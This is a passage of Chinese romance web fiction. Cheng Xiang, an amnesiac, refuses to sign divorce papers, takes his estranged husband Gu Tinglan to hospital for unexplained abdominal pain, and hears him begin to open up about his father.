可那些重要的东西，是什么呢？
程想第一次感受到了前所未有的迷茫。
*
最后，程想打车回了自己的小房子。
其实他本来是打算回婚房的。
但坐上计程车后，习惯性报了原来的小区地址。
等发现后，也不好意思再更改了。
正好对于他来说，住了3年的小房子更为熟悉。
他不知道结婚的两年间，有没有再回小房子里住过。
到了地方后，先在小区楼下超市买了日用品，和两套衣服，这才回了家。
这套小房子虽然有两个入户门，但小的那个门需要钥匙才能打开。
程想便走的入户大堂。
等用指纹开了门锁后，一道亮光从门缝泄露了出来。
“？？？”
程想瞪大眼睛，第一反应是屋里进了贼。
但他这会儿脑袋还木着，来不及思考，手先一步拉开了入户门。
然后，和里面听到动静警觉站起身的人，打了个照面。
“……听岚哥！”
这个时候见到了一直找寻不到人，程想简直可以说是欣喜若狂。
他丢下手里的袋子，朝着身穿浅色睡衣，沐浴在灯光下的男神飞扑过去。
大概是没料到程想会来，顾听岚整个人呆住了，以至于给了他可乘之机。
不快乐小狗这一次，终于抱到了男神。
“呜呜，听岚哥，我好怕啊，我真的好害怕……”
程想像抓住救命稻草一样，紧紧抱住顾听岚，嚎啕大哭起来。
回过神来的顾听岚，因为落在颈间的温热眼泪，放弃了甩开对方的念头。
他没有拒绝拥抱，但是也没有安慰的意思。
就那么直直站着，仿佛是一颗不懂喜怒哀乐的大树。
可就算只是这样，程想也觉得被救赎了。
就在刚刚，他走在陌生又熟悉的小区里，突然萌生出自己是虚假的念头。
甚至还认为发生的这一切，都只是一场梦。
还好还好，怀抱的人是真实的，传递给他的体温也是温暖的。
呜呜，真好啊。
缓过来的程想，像只大型犬一样，抱着心爱的男神不撒手。
大概是察觉到了他的情绪变化，顾听岚不再乖乖充当人形挂件，抓住他的后颈肉，毫不留情地从身上撕了下去。
因为颈子上的眼泪还没干，他收了力，没有再把程想甩出去。
程想也感受到这次待遇的不同。
他的后腰时不时会隐隐作痛，要是再摔一下，铁定要进医院。
他不好意思地用手背抹去眼泪，像个犯错的孩子立正站好，态度诚恳地道歉：
“对不起听岚哥，我刚刚是太激动了，我没想到你会在这里。”
在他记忆里，还没有向男神表明过心意。
尽管知道两人已经结婚了，还共同生活了2年，他还是没办法将对方当伴侣对待。
而且，他也不知道已婚的年轻伴侣，是如何相处的。
更糟糕的是，男神要跟他离婚，也不会教他。
23岁的他，竟然和男神朝夕相处了2年。
真是
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让18岁的他吃醋。
想要挽回破碎婚姻的念头，更加强烈了。
恰好这时，顾听岚开了口：“你来这里，有什么事？”
完全是面对陌生人的态度。
令程想有种误闯到别人家里的错觉。
“我……”
面对别人，能维持稳定情绪的程想，在顾听岚面前，就变成了一个脆弱幼稚的小孩子，话还没怎么说，眼泪又在眼眶里打转了，
“听岚哥，我失忆了。”
“嗯。”顾听岚和其他人一样，对这件事没什么反应。
程想早料到了，继续委委屈屈往下说：“我只记得十八岁暑假之前的事情，这五年发生了什么，我统统……”
“我可以打断一下吗？”顾听岚虽然礼貌地开口询问，但这行为本身，已经阻止程想继续往下说了。
“可以。”程想却是好脾气地说道，“你先说。”
“请等一下。”顾听岚转身去了卧室。
程想的目光跟着他，见他回了自己一直住的那间主卧。
顾听岚进屋后便随手关上了门，阻挡住了程想窥探的目光。
程想便收回目光，环视身处的客厅。
看到与自己住时一模一样的摆设，程想的心情顿时好了起来。
既然屋里的东西基本没动，那就证明他和听岚哥不常来这里。
两人应该一直住在婚房里。
再由此推测，两人的感情应该也很好。
闹到离婚的地步，应该是近期发生的事情。
他失忆的时机，也太不好了。
不过也许因为他失忆了，坏事变好事，最后两人反而不离婚了。
就在程想天马行空地想着美好的未来时，顾听岚出来了。
他先是注意到顾听岚把身上穿的睡衣，换成了一套休闲服。
之后才注意到他手上拿着几张A4纸。
又是A4纸。
程想几乎要应激了。
不等他调整好心情，顾听岚像之前在婚房里一样，将手里的A4纸递到程想面前：“先把离婚协议签了，我已经签过字了。”
程想接过硬塞进手里的白纸，低头看过去。
这次的离婚协议书和上次的有所不同。
只见上面空着的地方，已经手填过内容了，连日期都写好了，真就只差他的签名。
程想抬起头，用那双红通通的狗狗眼，看向浑身散发着冷漠气息的顾听岚，语气坚定道：“不离婚。”
不是他中二病犯了，要装霸道总裁，而是他怕再多说一个字，又会不争气地哭鼻子。
虽然眼泪也快忍不住了，但是气势不能输。
“为什么？”顾听岚皱起眉头，清冷美丽的脸上明明白白写着厌烦。
可见是对两人的婚姻生活忍受不了一点了。
男神非常讨厌他。
程想心口一紧，被这个认知堵得差点喘不过气。
如果可以，他并不想忤逆顾听岚。
天知道，他最大的愿望就是对方过得幸福舒心。
两人既然结婚了，那肯定是相爱的。
既然如此，有什么误会，或者困难解决不了呢？
程想恋爱都没有谈过，更不会知道婚姻是可以将两个原本相爱的人，变成陌路，甚至是仇人。
“因为……”
程想极力控制颤抖的声音，孤注一掷道，
“我爱你，顾听岚。”
他从没想过，隐忍了一年的告白，竟然会在这肃杀一般的气氛中说出。
9. 合法夫夫
“呵——”顾听岚却像是听到什么天大的笑话一般，薄唇轻启，露出一抹冷笑。
程想鼓起的勇气，在这一声冷如冰渣的嘲笑中，轰然崩塌。
全身的血液一瞬间涌上脸部。
不是因为害羞，而是羞耻。
程想下意识想攥紧拳头，又怕弄皱写有顾听岚名字的A4纸，便把所有力气都放在另一只手上。
嘴上倔强地重复道：“我喜欢你。”
少年人的感情最是真挚。
可这连续的告白，并没能打动顾听岚一点。
他也很执着：“你要没想好，我可以再给你一些时间……”
“听岚哥，我说我喜欢你，你听到了吗？”
原来比起被拒绝，被无视更令人绝望。
伤心至极的程想，第一次打断顾听岚。
“听到了。”顾听岚直视高出自己半头的男人，眼底有寒意蔓延，“然后呢？”
“然后？”程想愣了下，说出自己的想法，“然后我不会跟你离婚的。”
“好。”
程想眼眸一亮，以为顾听岚改变主意了，结果却听他说道：
“那就起诉离婚吧。”
“不离婚！”
程想上前一步，很想再抱住顾听岚，却不敢。
而顾听岚因为他的突然动作，防备地往后退了两步。
看来对方不仅不想跟他过了，连他的接近也很抗拒。
快乐小狗的心碎了一地，却还在努力争取：“听岚哥，是不是我做错了什么事，你告诉我，我都改，我保证以后再也不惹你生气，我们不离婚好不好？”
顾听岚像是油盐不进一般，夺过程想手里的离婚协议，直接下了逐客令：“我会安排律师跟你联系，你走吧。”
“……”
程想从没见过男神如此不近人情的一面，顿时不知道该怎么办了。
见他站着不动，顾听岚不再说什么，径自往卧室走去。
“我不走。”程想看着那道决绝的背影，眼泪不争气地哗哗流，“这是我的房子，我今晚要住这里。”
为了挽回无望的婚姻，程想不打算再维持什么君子风度了。
准备当个无赖。
闻言，顾听岚停下开门的动作，回头看向可怜巴巴掉眼泪的男人，说出的话却让人如坠冰窟：
“这套房子你过户给我了，是我的房子。”
程想震惊地忘记了呼吸。
想到这套小房子记录了，他和顾听岚从相识到相知的点点滴滴。
未来的自己会把这套房子送给对方，也没什么可意外的。
虽然房子不是自己的了，程想还是有办法留下来，抽抽嗒嗒道：“你是我的伴侣，你的房子，我也能住。”
虽然有胡搅蛮缠之嫌，但说的也没错。
顾听岚因为从小就过的集体生活，养成了循规蹈矩的性格。
做起事来一板一眼。
和他熟悉的人，背地里都叫他“木头美人”。
程想不知道男神有这样一个外号，只知道他很讲理，从不感情用事。
果然，顾听岚不再撵程想走了，留下一句“随便你”，便关上了卧室门。
虽然厚着脸皮赖了下来，程想却一点都不开心。
这就像是饮鸩止渴一样，不仅不能修复两人的关系，只怕还会继续恶化。
得想个办法，扭转不利的局面。
可是……怎么想办法？
程想原本就在感情之事上很是笨拙，如今的状态更是想不出好的办法。
而且想多了还会头疼，他便先不纠结这个，去门口将入户门关上，拎起掉在地上的袋子，去卫生间洗漱。
对于这套小房子，程想更熟悉。
洗完澡，换上新买的睡衣后，他便去敲主卧的门。
没一会儿，门开了。
顾听岚隔着半开的木门，冷冷说道：“我们早就分居了。”
他显然是误会了，以为程想还想要他履行夫夫义务，同床共枕。
“我知道，我今晚睡沙发，我是来借被子的。”
“你知道？”顾听岚并没有松口气，而是露出戒备的神色，上下打量穿着印有卡通狗图案睡衣的成熟男人。
这严重不协调的画风，怎么看怎么违和。
顾听岚沉下声，问：“你怎么知道的？”
“我在咱们的婚房里发现的。”
“你等着。”
顾听岚像防贼一样，只是拿个被子也要把门锁上。
程想都听到上锁的声音了。
要不是接连的打击，让他的心脏变强大了些，只怕又要哭唧唧了。
“给。”
顾听岚很快又把门打开了，将叠得整整齐齐的薄被递给程想。
上面还多了一个枕头。
就算两人闹到离婚的地步，对方依然体贴细心。
这么好的一个人，谁会舍得放手？
23岁的他真是糊涂啊。
程想很想暴揍头脑发昏的自己。
“不打扰你了，听岚哥，早点休息，晚安。”
程想双手捧着虽轻却饱含情意的被子枕头，去了客厅。
当初他为了方便招待小伙伴们来家里做客，特意买了一个3米多长的大沙发。
还能自动变成单人床，方便留宿客人。
高中最是管得严的时候，那几个小伙伴都没有在他家住过。
男神虽然教了他一暑假画画，但天天准点来，准点走，也没留宿过。
沙发一直没机会展示过另一个功能。
没想到竟然让他这个原主人，享受了一把睡沙发床的感受。
白天接收了太多信息，心情一直大起大落。
导致程想沾了枕头，就睡了过去，连个缓冲的时间都没有。
彷佛这枕头有什么魔力似的。
这时候还不到十点，对年轻人来说离睡觉还早。
要不是程想突然造访，顾听岚还会继续在客厅看电视。
他的工作压力非常大，闲暇时间也就看书或者看综艺缓解心情了。
这时候回到卧室后，便拿出一直在看的书阅读。
但不知道怎的，平时很快就能沉浸进去的书，今天却一个字都看不进去。
彷佛突然有了阅读障碍似的。
尝试了几次之后，顾听岚放下手里的书。
眼睛看向床头柜上的离婚协议书。
他料定程想不会顺利签字，所以多打了几份。
还填写好了一份。
结果，还是没有用上。
程想苦恼怎么让顾听岚改变主意不离婚，而顾听岚却烦恼怎么让他快点签字。
至于他失忆的事情，顾听岚压根没放在心上。
他既然已经下定决心要离婚，就没有什么理由能够阻止。
而且这个节骨眼上失忆，很难不让他多想对方是不是故意找的借口。
越想心思越乱，顾听岚便打算睡觉。
他刚出差回来，明天可以多休息一天。
顾听岚将闹钟关掉，戴上眼罩，躺下酝酿睡意。
然后，辗转反侧睡不着。
以
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前他在这里住的时候，几乎都是秒睡。
今天怎么却……
顾听岚摘下眼罩，打开床头的小夜灯坐起来。
他虽然经常来这边住，但因为没有遇到过睡眠问题，没有准备相关物品。
尤其是耳塞。
他明明记得这套房子隔音效果挺好的，怎么客厅的呼吸声，会传到卧室里来。
就算只有一墙之隔，也不该这么清晰。
宛如响在耳边。
有十多年睡寝室经验的顾听岚，知道这不是打呼声。
就是睡觉时的呼吸声。
清浅，又绵长。
但却很奇异的，像是敲击在他的神经上一般，令他听得一清二楚。
对方倒是睡得挺香，但被打扰的他，不仅觉得不舒服，还很焦躁。
顾听岚并不如外表那样看起来冷冰冰，像个没有感情的AI。
相反，他的脾气其实挺暴躁的。
只不过从小到大，他都孤军奋战，没有可以任性和发脾气的底气。
长此以往，就养成了隐忍、不喜于色的性格。
人在想睡却睡不着时，会格外易怒和不理智。
顾听岚也不例外。
他一直等不到耳边的呼吸声减弱，只好下床披了件外套，开门去到外面。
既然让他睡不着，始作俑者也别想睡。
两年来，程想没少跟他没事找事，也该到了他还回去的时候。
结果，等来到客厅，看到将近一米九的男人，委屈巴巴地蜷缩在沙发里，顾听岚的怒气就怎么也没办法发出来。
而且，还是在这样一个充满美好回忆的房子里。
顾听岚就想关灯回卧室去。
反正明天不用上班，失眠就失眠吧。
就在他正准备转身时，一道迷迷糊糊的声音叫住了他：
“听岚哥？”
睡得正好，却突然被明亮的灯光照醒，程想其实是有些生气的。
但在看到眼前的人后，脾气瞬间消失无踪。
“你出来是有事找我吗？”程想忙不迭掀开被子，顾不上穿鞋子，就光脚来到了顾听岚面前。
顾听岚：“……”
可能是睡不好导致脑子出了问题，他竟然幻视一只白色的萨摩耶向自己跑了过来。
要真是有“天使狗狗”称号的萨摩耶就好了。
他的面前，只站着一个身穿狗狗睡衣，笑得见牙不见眼的男人。
程想确实很开心。
因为在他眼里，此刻穿着浅色睡衣，抿紧唇瓣的顾听岚，看起来很像是受了委屈，来找家长的小朋友。
让他顿时升起满满的保护欲。
说出来有些讨打，虽然男神跟他哥一个年纪，但他总觉得对方更像需要保护的弟弟。
也是因为将自己带入到年长的那一方，程想又柔声问道：“你是不是渴了，还是饿了？”
这寻常的一问，不知令顾听岚想到了什么，只见他毫无征兆地捂着腹部蹲了下去。
“听岚哥，你怎么了？”
程想吓了一跳，也跟着蹲下去，想扶他起来却又不敢，
“是哪儿不舒服了吗？”
“……没事。”也就一晃眼的功夫，顾听岚浅色的双唇，变成了惨白色，“一会儿就好了。”
因为腹部太疼了，导致说话有气无力。
程想没有听清后面说了什么，见他把自己缩成一团，吓得心脏狂跳：“是不是很难受？我这就叫救护车。”
程想正要起身去拿手机打120，不料一只手紧紧拉住了他。
10. 看病
“怎么了，听岚哥？”程想又麻利地蹲了回去。
顾听岚一直拽着程想不松手，就算疼得没力气了，还是努力开口：“别叫救护车，我没事。”
“怎么会没事呢，你都疼成这样了。”
程想没想到男神也会讳疾忌医，好声好气劝道，
“附近就有家医院，来得很快，就算没事我们也检查一下，这样才能安心，你说是不是？”
“我没事。”
不管程想如何劝说，顾听岚铁了心一般，就是不愿意去医院。
程想又不能把抓着自己的手拽开，见顾听岚疼得冷汗都下来了，便大着胆子把人抱进怀里。
要是疼痛能转移就好了。
真想替男神疼。
可惜，生老病死这最重要的四项，是没人能替代的。
不知道是程想的怀抱起了作用，还是疼劲儿过去了，过了十多分钟后，顾听岚的身体终于不再抖了，体温也开始慢慢回升。
“可以了，谢谢。”顾听岚冷漠地推开程想。
颇有种用完就丢的嫌疑。
程想没这么觉得，只是可惜抱得时间不够长。
在之前，就是他和男神关系好的时候，是不是可以肆无忌惮地拥抱男神？
心理年龄18岁的程想，又酸了。
因为幼稚地跟自己吃起醋来，程想又抱住顾听岚，嘴上无赖道：“不答应去医院，我就一直抱着你。”
他以为这样就能逼得男神乖乖就范，哪知对方用清冷的声音说道：“……抱吧。”
“？？？”程想惊了。
男神怎么不按常理出牌呢？
他的本意不是要占男神便宜，而是哄男神去医院的啊。
虽然，他也是有私心啦。
但是他真的更担心男神的身体。
而顾听岚真就像他说的那样，不再抗拒程想的靠近，乖乖窝在他怀里不动了。
倒把一副恶霸架势的程想，弄得手足无措，脸红脖子粗。
抱着香香软软的男神，感觉真是好啊。
好得他都以为是在做梦了。
该不会他就没有醒吧？
程想捏了把脸颊，感到疼后终于相信这是真的了。
然后，他手上用力，就着目前的姿势抱起顾听岚。
在以前程想是不敢这样冒失行事的。
现在23岁的他，个头居然超过了男神，这给了他盲目的自信。
认为可以向男神展现男友力。
等将人抱起来后，他却被手上的重量惊呆了。
怎么一米八几的男神，竟然这么轻？
“程想，放我下来！”
就在程想呆楞之际，顾听岚冷声命令道。
“不放。”程想回过神来，用无赖的语气说道，“你刚刚说让我随便抱的。”
“……”顾听岚有种搬起石头砸自己脚的后悔。
不等他想出应对之策，便被抱到了沙发前。
紧接着，穿着小狗睡衣的男人带着他躺在了变宽的沙发上，并将一只胳膊搭在他腰间。
“？？？”顾听岚再也维持不了淡定，咬着牙要坐起来。
程想收紧手臂，用恶霸一样的口吻说道：“不去医院，今晚我们就这样睡。”
顾听岚自然不愿意：“你松开……”
“不松，我们是夫夫，睡一起有什么问题？”
“我们要离婚了。”
“那不是还没离么？法律上我们还是合法夫夫，就是报警，警.察也不会管。再说了，”程想冒着酸水说道，“我们又不是没一起睡过。”
18岁的他没睡过。
他也要一起睡。
吃醋上头的程想，俨然忘记了这样做的初衷。
不过他虽然强硬地将男神禁.锢在臂弯中，也只是将胳膊搭在对方腰间，上半身侧躺在沙发床上，双腿支撑在地上。
他光着脚下了地，自然是不能再上沙发了。
顾听岚不知道程想是在做戏，听到那些话后，脸色一下子变了。
他其实还很不舒服，又被气到了，宛如折了翅膀的鸟，没有一点反抗能力。
“……去医院吧。”脸色苍白如纸的人，咬着牙妥协了。
“你说什么？听岚哥。”
程想可不是故意捉弄男神，而是对方的声音太小了，他没有听清。
顾听岚已经处在暴走的边缘，却还是隐忍了下来，一字一顿道：“去、医、院。”
“哦好，我现在就打电话。”程想忙松开四肢僵硬的男神，找到手机拨打120。
结束通话后，又按照顾听岚的指示，找出他的身份证后，这才拎着拖鞋跑去卫生间洗脚。
等出来后，看到顾听岚背靠沙发蜷缩在地上，一副痛苦不堪的模样。
“听岚哥，是不是又难受了？”程想把放在茶几上的手机也装进口袋里，蹲在顾听岚面前，“你上来，我现在就背你出去。”
“不用……这样、就不疼了。”
程想不相信只是蹲着就能缓解疼痛，一手穿过顾听岚的腿弯，将人打横抱了起来：“听岚哥，对不起，你再忍耐一会儿，等到了医院就好了。”
身体上的疼痛，不是到了医院就能自动痊愈的。
这话最多也就起个心理安慰作用而已。
可不知道怎么回事，听了他温声细语的安慰后，顾听岚真的觉得腹部好像没那么疼了。
也可能是身体腾空后，让他对知觉失去了敏锐的感知力。
总之，他整个人晕晕乎乎的，怎么从单元楼出来，怎么上了救护车，又怎么到的医院，一点印象都没有。
等意识清楚后，他已经坐在急诊室里了。
“是哪里疼？”戴着黑框眼镜的医生有些年纪，给人一种稳重可靠的感觉。
来到医院后，程想便放下了一半心。
可顾听岚却没什么变化，语气依旧很冷淡：“腹部。”
“腹部哪里？左下侧还是右下侧？”
“左下侧。”
“左下侧？”医生看了眼额头冒冷汗的顾听岚，在电脑上操作了一番，说道，“那去拍片看看吧。”
阑尾在人体腹部右下侧，一般腹部突然出现疼痛，很可能是急性阑尾炎引起的。
听到病人疼的地方是没有什么器官的左下侧，医生只能安排拍片查找病因。
“好的，谢谢医生。”程想感激地对医生道谢，然后搀着顾听岚去拍片。
“听岚哥，再坚持一会儿，等拍完片开了药，就不难受了。”在去拍片的路上，程想不停地柔声安慰顾听岚。
顾听岚可能真的很怕医院，自从来了这里后，脸色变得更加不好，整个人也异常沉默。
程想以为他这样的反应，是因为身体的疼
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痛所致。
毕竟生病会变得脾气不好是很正常的事情，他能做的，只有陪在对方身边，是不是安慰几声。
也不敢太嘴碎，不然肯定惹人烦。
程想是善于以己度人的性格。
遇到什么事，总会先带入自己思考一番。
所以跟他做朋友，会很舒心。
从小到大，他身边一直不缺朋友。
这样的性格，也很适合做男朋友。
虽然这个世上不存在真正的感同身受，但是有一个愿意去努力共情自己的男朋友，也很难得了。
顾听岚一心只想跟程想离婚，就算察觉出对方的体贴细心，也不会有什么心理波动。
而且更加难受的他，也无暇去在意陪在身边的人。
片子很快拍完，两人又回到了急诊室。
等他们坐好后，已经在电脑上看到检查结果的医生，问道：“这会儿好点了吗？”
顾听岚像是竖起尖刺的刺猬一般，面无表情地看着虚空的一点，没有回答医生的询问。
在医生面前肯定是要把症状都说出来，这才能更好地进行诊治。
程想看了眼默不作声的顾听岚，代为答道：“身上没有之前那么抖了，应该是好一点了。”
“方便问一下两人的关系吗？”医生问道。
“我们是夫夫。”程想不等看顾听岚眼色，便快速回道。
医生了然地点点头：“二位今晚是不是拌嘴了？”
程想看了眼身边之人，正要回答，就听彷佛变成冰雕的男神突的开了口：“没有。”
这回答大大超出程想的意料，他迅速又转过头，眼睛发亮地看着神色依旧很难看的顾听岚。
“那你平常工作压力大吗？”医生见病人愿意开口了，直接向本人问道。
“不大。”
其实压力挺大的，但顾听岚能够自我消化，便认为不算什么。
随后，医生又问了几个日常小问题，然后推了推眼睛，道：“片子上一切正常，通过刚刚的询问，也不能归于神经性疼痛，可能是没休息好引起的，如果不放心的话，等白天可以去神经科看看，平时也多保持身心舒畅。”
其实这话的潜台词，就是说顾听岚没病。
知道这两个年轻人是夫夫后，医生更倾向于是两人吵架了，一方气性比较大，导致气不顺，引起了腹部的疼痛。
说白了，就是气到了。
就像有人会形容自己，笑得肝疼，气得胃疼。
都只是情绪反应。
程想努力消化完医生的话，问道：“那就是他没有什么事，是吗？”
“是的，没事了，回去好好休息吧。”
“不用开药吗？”
“不用开，没事，放心吧。”
听到医生这样说后，顾听岚的眸光闪烁了一瞬，神色更冷了。
就在他以为程想真以为他没什么事，会带着他出去时，却听到对方用疑惑的语气问道：
“怎么会没事呢？他都疼得站不起来了，而且疼了两次，第一次疼的时间差不多有十分钟，是第二次又疼了我才叫的救护车，怎么会没查出病因呢？是不是漏了什么检查项目忘让我们做了？”
当着医生的面，程想直白地表现出质疑。
他这反应，不仅打得医生措手不及，就连一直表现得颓废厌世的顾听岚，也是一怔。
11. 骗你的
“这……”
医生不是没遇到过被怀疑医术的情况，是程想一开始非常配合问答，表现得也很有礼貌，所以才没想到对方会像有些文化程度不高的人一样，直接出口质疑他。
这个医生大小也是个主任，又很久没遇到这种情况，当即被气得说不出话来了。
“怎么了？”另一个值班医生听到这边的动静，走过来解围。
“你看吧。”主任医生让出电脑屏幕，给同事看。
这位医生看起来挺年轻，最多三十出头。
他认真看了顾听岚的拍片结果，然后对程想两人说道：
“片子上没看出问题，各方面都很健康。如果你们不相信张医生给出的诊断结果。可以等明天白天来取片子，拿去其他医院让别的医生看看，或者在别的医院重新做检查都可以。”
“好，我就是这样打算的，谢谢你们了。”
程想客气地说完，搀扶起顾听岚走出急诊室。
等出来后，一直表现得冷冰冰的顾听岚开了口：“我都说了我没事。”
这话，颇有跟外人一起埋怨程想的意思。
程想没有生气，好脾气问道：“听岚哥，你这会儿还疼吗？”
其实还有点疼，顾听岚却选择了隐瞒：“不疼了。”
“嗯。”程想点点头，不知道信了没有，继续搀着顾听岚往外走。
顾听岚想挣脱开，顾忌着两人在医院，便硬生生忍了下来。
本以为这件事就此揭过了，坐上计程车后，程想一边低头玩手机，一边问道：“听岚哥，你明天上班吗？”
“……问这个，做什么？”顾听岚本能地提高警惕。
“我想明天带你去别的医院再检查一下，我刚刚搜出来三家医院，看网上评论都挺好的，我们明天一家家去检查。”
程想不仅怀疑这家医院的医疗水平，还行动力很强，真的打算带顾听岚去其他更好的医院检查一下。
“……”
顾听岚沉默了，垂下眼脸不知道在想什么。
放在阴影下的双手，悄悄攥紧。
“是明天还要上班？”
程想已然习惯了被顾听岚无视，径自说道，
“能请假吗？主要明天是周三，离周六还有几天，我怕你又疼起来，要不明天就请假吧？你要不方便，我帮你请。”
怎么说两人也是夫夫，应该有权利帮忙请假。
又是长久的沉默。
程想终于察觉到不对，扭过头看向顾听岚。
只见对方低垂着头，看不清面容，不知道在思考什么，整个人由内而外散发着一种深沉的孤寂感。
让人十分心疼。
程想又想去抱对方了。
可能今晚抱的次数有点多，导致他食髓知味，动不动就起坏心思。
“听岚哥，”最后，程想只把手小心放在顾听岚手背上，“你听到我刚刚说的了么？”
顾听岚彷佛被蛰到一样，猛得甩开程想的手。
车内的气氛顿时变得安静又尴尬。
在程想默默舔舐伤口的时候，顾听岚突兀地开了口：“这个毛病，我小时候就有了。”
“什么？”程想立马顾不得心伤，凑到男神身边竖起耳朵，“你说刚刚肚子疼的情况吗？”
“是腹部疼，不是肚子。”顾听岚格外较真。
“嗯，是腹部左下侧疼，我记起来了。”程想牢牢记下，并问道，“那你小时候去看医生，是怎么说的？”
“……”明明是顾听岚主动挑起的话头，此刻却又突然沉默了。
程想也不催促，安静地等他。
一直等到车子到了目的地，顾听岚也没再说一句话。
程想付过钱，拉着顾听岚下了车。
虽然心里好奇得抓耳挠腮，表面上却表现得很淡定。
从大门口到单元楼这段路上，还发表了一些小区变化有点大的感慨。
等进到屋里后，程想迈着步子往厨房去，想要烧水喝。
这时，顾听岚像是想起之前的话题没有结束似的，冷不丁说道：
“那时候医生也说没事，确实也没事。”
程想不急着烧水了，又走回顾听岚身边，拉着他坐在沙发上。
他则半蹲在顾听岚面前，语气认真道：“听岚哥，你还记得那次腹部疼，是几岁吗？”
“问这个做什么？”顾听岚又竖起防备的外壳。
“因为有可能是小时候落了病根，导致长大后旧病复发。”程想解释道，然后执着地问，“你那次腹部疼是几岁？”
顾听岚偏过头不与程想对视，望着虚空的一点，像是在回忆小时候的事情，说出的话却毫不相干：“都拍了片子，医生也说没事，你为什么揪着这个事一直说？”
“因为我不相信医生的诊断。”程想说道，“其实也不是医生，这个医生肯定是没有问题的，但是医院的医疗设备可能过时了，所以检查不出来问题。”
“你怎么……”顾听岚的语气忽然变得飘忽不定，“非要认定我有病呢？”
“不是有病，也不对，就是你不舒服嘛，疼得这么厉害，肯定要找出原因，要不然以后还会疼。”
程想说得好像生病那个人是他自己似的。
但他看到顾听岚那样子，确实很心疼。
顾听岚听出了话语中的关心，转过头来，灰色的眸子盯在程想脸上，半晌后，薄唇轻启：“我骗你的。”
“什么？”程想一愣，身体稍微起来一些，“什么骗我的？”
“就是我刚刚腹部疼，是故意装来骗你的。”
程想看到眼前明明是高不可攀的圣洁天使，说出来的话，却宛如恶毒的蛇蝎美人，就连语气，也带着明显的嘲讽，
“没想到你这么好骗，医生都说检查不出问题，你却还不相信，还要质疑医生的专业性。”
“……”老实说，听完后，程想只觉得遭受到了当头棒喝。
不仅血液冰凉，还有被耍弄的屈辱感。
但是很快，理智占据上风，他问道：
“可是你疼得脸色都变了，还出了很多冷汗，怎么可能是骗我呢？”
他从小到大一直很皮实，没怎么生过病。
但他见过别人生病，那种病痛的模样，是正常人装不出来的。
顾听岚接下来的话，就推翻了他的认知：“因为我小时候，就这样装病骗过大人，所以能装得很像。”
“骗人，我不信。”
顾听岚没有因为程想的信任感
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到开心，而是扯起嘴角冷笑道：
“知道我为什么跟医生强调是腹部左下侧疼，而不是右下侧么？因为人的阑尾长在右下侧，如果我说右下侧疼的话，医生一检查就发现我在说谎。”
程想并没有被说服，而且18岁的脑子要比20多的好使：
“你当时都那么疼了，我抱着你，能清晰感觉到你的痛苦，不可能是装的。演技再好的演员也演不来，而且，你也不是会撒谎的人，更不会骗我。”
程想像是无脑的信众一般，就算男神都亲口承认了，依然不相信对方会骗自己。
说完后，他直接站起身，难得强硬道：“明天我给你请假，我也请假，我们去别的医院重新检查一次，如果那三个医院也检查不出来的话，就飞去国外检查。反正过了5年，医疗水平肯定提高不少，一定能检查出病因来。”
程想自始至终都只怀疑医疗仪器不够先进。
连医生都没有怀疑过，更不会怀疑到男神身上去。
他这样的行为其实很像清澈愚蠢的中二少年，哪怕整个世界都破烂不堪，也要靠着一腔热血支撑起一片属于自己的净土。
当人变得成熟，特别是走入社会后，俗称接受过社会的毒打，就会非常不喜欢程想这种天真烂漫、只活在自己世界里的人。
按说，27岁又十分务实的顾听岚也应该不喜欢。
但他听了程想那感性过头的话之后，奇异地沉默了。
程想在发表完言论后，也变得很沉默。
还有些累。
他这次干脆在顾听岚面前坐下。
别看他嘴上说得那么霸道，其实很怕顾听岚不听他的，明天照常去上班。
他又不知道对方在哪里上班，到时候找起来很麻烦不说，还会耽误去医院。
坐下后，为了舒服，程想将一只腿盘了起来，刚好压在顾听岚脚背上。
他等着顾听岚赶自己的腿离开，结果对方像是没注意到似的，又开始神游。
其实在坐计程车的时候，他就发现顾听岚频频走神。
所以对方突然沉默不说话，他也没有催促。
这会儿都回到家里了，怎么还走神呢？
程想虽然不解，却没有叫醒顾听岚。
对方现在生着病，肯定哪哪都不舒服。
放空一会儿也挺好的。
就在程想安静坐在地板上，默默守护男神时，有什么冰凉的东西，滴在了他的手背上。
他看过去，见是透明的水滴。
咦，难道是哪儿漏水了吗？
程想抬头看过去，没看到天花板有什么问题。
当目光不经意扫过顾听岚的脸庞时，陡然一顿。
只见一道璀璨的银河，滑过他白皙精致的脸庞。
“听岚哥，你怎么、怎么哭了？”程想着急忙慌地起身，拿过茶几上的抽纸，去给顾听岚擦眼泪。
他将顾听岚当成男神，不仅是因为对方长得好看、有才华，还因为对方内心非常强大。
是可以让他安心依靠和崇拜的存在。
见到对方脆弱的一面，程想顿时心疼的无以复加。
而偏偏，本来快要止住的眼泪，经过程想一番笨拙的安慰，不仅没有减少，反而愈发汹涌。
12. 怪病
这下，程想更是心慌意乱，完全不知道该怎么办才好。
美人落泪虽然好看，但也更让人揪心。
共情能力极强的小哭包，也想哭了。
这个节骨眼上，可不能掉链子。
程想便极力忍耐。
“不哭不哭，要是很难受的话，我们现在就去其他医院，好不好？”
眼见珍珠似的眼泪怎么都擦不完，程想便大着胆子将充满破碎感的男神抱进怀里。
极度伤心时，仅仅一个温暖的怀抱，就很容易冲开坚固的心理防线。
而对于顾听岚来说，这个拥抱不仅及时地安慰了他，还安抚了他那颗自童年起，就一直恐惧不安的心。
将额头抵在程想肩膀上，顾听岚闭上眼睛，轻声问道：“你为什么，相信我？”
两人紧密相贴，这次程想听到了男神的问话，回道：“因为你值得相信啊，而且我有眼睛有脑子，我会分辨真假。”
程想没有提两人的关系。
他怕男神又要跟他离婚。
他现在算是知道了，爱哭的他，也对眼泪没辙。
要是顾听岚梨花带雨地让他在离婚书上签字，头脑发昏下，他可能真的会签。
“为什么……他不相信呢？”梦呓似的说完，顾听岚的眼泪掉得更凶了。
“他？”程想首先想到的是23岁的自己，很快便否定了，问道，“他……是谁？”
要在平时，顾听岚打死都不会说的。
有些事适合烂在肚子里，说出来反而是对自己的再一次伤害。
可是今晚不知道怎么回事，大概是此刻的拥抱的太温暖了，也可能是哭太多大脑短路了，戒备心一直很强的顾听岚，突然有了倾诉的冲动。
“程想，”但在说之前，顾听岚还有顾虑，“你真的失忆了吗？”
“嗯，我失忆了。”程想悄悄又搂紧一些，生怕男神因为他心理年龄小，而不愿与他交心，“我现在只有18岁之前的记忆，之后的，都不记得了。”
18岁？
“那你记得暑假我教你画画的事吗？”
“记得。”想起那段美好的回忆，程想没忍住，像小狗一样蹭了蹭怀中的男神。
“那……我们婚后那些事呢？”
“不记得，我完全没有记忆。”程想酸溜溜道。
“……哦。”顾听岚不知道相信了没有，深吸一口气，说起之前的话题，“我刚刚说的那个他，是……我、爸。”
